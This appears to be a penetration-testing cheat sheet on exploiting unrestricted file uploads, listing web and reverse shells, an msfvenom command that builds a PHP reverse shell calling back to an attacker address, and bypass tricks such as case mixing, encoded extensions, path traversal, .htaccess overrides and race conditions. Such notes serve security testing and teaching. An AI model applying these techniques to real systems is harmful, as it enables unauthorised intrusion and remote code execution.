Unrestricted File Upload
Occurs when a user's files are taken as input and these files are not properly checked or sanitized.
Steps:
Search for file upload points
Identify target language/framework, such as
php
andasp
(ex. use Wappalyzer or ffuf withindex.<extension>
)Try to upload executable files compatible with the target language/framework
Try to access the file for execution
Web Shell
Although reverse shells are always preferred over web shells because they provide the most interactive method of controlling the compromised server, they may not always work and we may have to rely on web shells instead. This can happen for a number of reasons, such as having a firewall on the back-end network that prevents outgoing connections or if the web server disables functions needed to initiate a connection with us.
PHP
A semi-interactive PHP shell
PHP reverse shell.
msfvenom
msfvenom -p php/reverse_php LHOST=OUR_IP LPORT=OUR_PORT -f raw > reverse.php
.NET (.asp)
Other
Web shell for different languages
Same.
msfvenom
Like in PHP but also for other languages.
Small php shell non alphanumeric
SVG image
See also XXE.
Bypassing Filters
Client-Side
JavaScript
Possibility to delete or modify the JavaScript code that performs the loading check.
Richieste
Intercept requests with BurpSuite and change the filename, data in the post, and Content-Type.
Server-Side
Test that the file extension is not in a list of prohibited extensions.
Fuzzing Extensions
Lower/Uppercase
It is possible to try lowercase and uppercase mixes.
php
—> pHp
, PhP
, …
Add Trailing Characters
Some components will strip or ignore trailing whitespaces, dots, and suchlike: exploit.php.
URL encoding
For dots, forward slashes, and backward slashes.
If the value isn't decoded when validating the file extension, but is later decoded server-side, this can also allow you to upload malicious files that would otherwise be blocked: exploit%2Ephp
Stripping
exploit.p
.php
hp
Double Extension generator with special characters
In the first for put the special characters you want.
In the second for put the extensions you want.
Add the combinations you want.
Check that wordlist files do not have \r
at the end: sed -i "s/\r$//" extensions.lst
Web Shell Upload via Path Traversal
A directory to which user-supplied files are uploaded will likely have much stricter controls than other locations on the filesystem that are assumed to be out of reach for end users. If you can find a way to upload a script to a different directory that's not supposed to contain user-supplied files, the server may execute your script after all.
Try with path traversal in filename
field in multipart/form-data
.
Overriding the Server Configuration
Apache have the directives in /etc/apache2/apache2.conf
.
Many servers also allow developers to create special configuration files within individual directories in order to override or add to one or more of the global settings.
You may occasionally find servers that fail to stop you from uploading your own malicious configuration file. In this case, even if the file extension you need is blacklisted, you may be able to trick the server into mapping an arbitrary, custom file extension to an executable MIME type.
File: .htaccess
Exploiting File Upload Race Conditions
Some websites upload the file directly to the main filesystem and then remove it again if it doesn't pass validation. This kind of behavior is typical in websites that rely on anti-virus software and the like to check for malware. This may only take a few milliseconds, but for the short time that the file exists on the server, the attacker can potentially still execute it.
Last updated